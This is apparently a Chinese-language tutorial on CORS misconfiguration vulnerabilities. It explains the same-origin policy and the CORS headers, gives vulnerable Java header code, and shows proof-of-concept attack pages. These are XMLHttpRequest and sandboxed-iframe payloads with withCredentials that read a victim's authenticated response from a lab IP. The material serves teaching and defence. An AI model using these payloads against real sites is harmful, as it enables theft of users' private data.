全方位了解CORS跨域资源共享漏洞
字数 1713 2025-08-24 20:49:22
全方位了解CORS跨域资源共享漏洞
1. 前言
同源策略 (Same Origin Policy)
同源策略是浏览器的一种安全机制,判断标准包括:
- 协议
- 域名
- 端口
同时满足这三个条件的站点才被认为是同源的。当不同源的站点之间请求资源时,称为跨域请求,会受到同源策略的限制。
不受同源策略限制的HTML标签
以下HTML标签可以跨域请求资源:
<script>- ``
<iframe><link>- CSS
跨域需求场景
- 前后端分离架构,前后端域名不同
- 电商网站加载第三方快递网站的物流信息
CORS机制
跨域资源共享(CORS)是HTML5提供的一种机制,通过在HTTP头中增加字段告诉浏览器哪些不同源的服务器有权访问本站资源。当CORS配置不当时,会导致资源被恶意操作,形成CORS漏洞。
2. 常见CORS漏洞情况分析
关键HTTP头字段
Origin: 表示请求来源Access-Control-Allow-Origin: 表示允许跨域访问的hostAccess-Control-Allow-Credentials: 表示是否允许跨域传输cookies
四种常见配置情况分析
| Access-Control-Allow-Origin | Access-Control-Allow-Credentials | 安全性 |
|---|---|---|
| * | true | 安全 |
| 任意host | true | 存在漏洞 |
| 指定安全host | true | 安全 |
| null | true | 存在漏洞 |
情况一:Allow-Origin为*,Allow-Credentials为true
后端代码示例:
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader("Access-Control-Allow-Credentials", "true");
测试结果:
- 虽然配置看似宽松,但浏览器会阻止这种组合
- 无法利用漏洞,因为浏览器不允许在Allow-Origin为*时发送凭据
情况二:Allow-Origin为任意host,Allow-Credentials为true
后端代码示例:
response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
response.setHeader("Access-Control-Allow-Credentials", "true");
攻击示例代码(index.jsp):
<script>
function attack() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
if(this.response == "" || this.response == null){
alert("恭喜已经绕过了同源策略,但是响应体为空,利用失败");
}else{
alert("黑客已经拿到你的敏感信息----"+this.response)
}
}
}
xhttp.open("GET","http://192.168.1.2:8080/info",true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
浏览器SameSite属性影响:
- Chrome 51+引入了Cookie的SameSite属性防止CSRF攻击
- SameSite有三个值:
Strict: 完全禁止第三方CookieLax: 默认值,大多数情况不发送第三方CookieNone: 允许所有请求发送Cookie,但必须同时设置Secure属性
利用条件:
- 目标站点使用HTTPS协议
- Cookie设置SameSite=None且Secure=true
情况三:Allow-Origin为null,Allow-Credentials为true
利用方法:
使用iframe标签,通过data URL格式将src直接加载为HTML
攻击示例1(使用data URL):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals"
src="data:text/html;charset=UTF-8,<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
alert('黑客已经拿到你的敏感信息----'+this.responseText);
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();
</script>">
</iframe>
攻击示例2(使用srcdoc属性):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals"
srcdoc="<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
alert(this.responseText);
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();
</script>">
</iframe>
3. 安全建议
-
Access-Control-Allow-Origin:
- 不应设置为null
- 不建议设置为*
- 应设置为受信的特定站点
-
Access-Control-Allow-Methods:
- 只保留必要的HTTP方法
-
Cookie安全设置:
- 设置HttpOnly属性
- 设置Secure属性
- 合理设置SameSite属性
-
敏感数据保护:
- 对敏感数据进行加密
- 实施身份二次验证机制
-
其他建议:
- 定期进行安全审计
- 保持浏览器和服务器软件更新
- 实施严格的输入验证和输出编码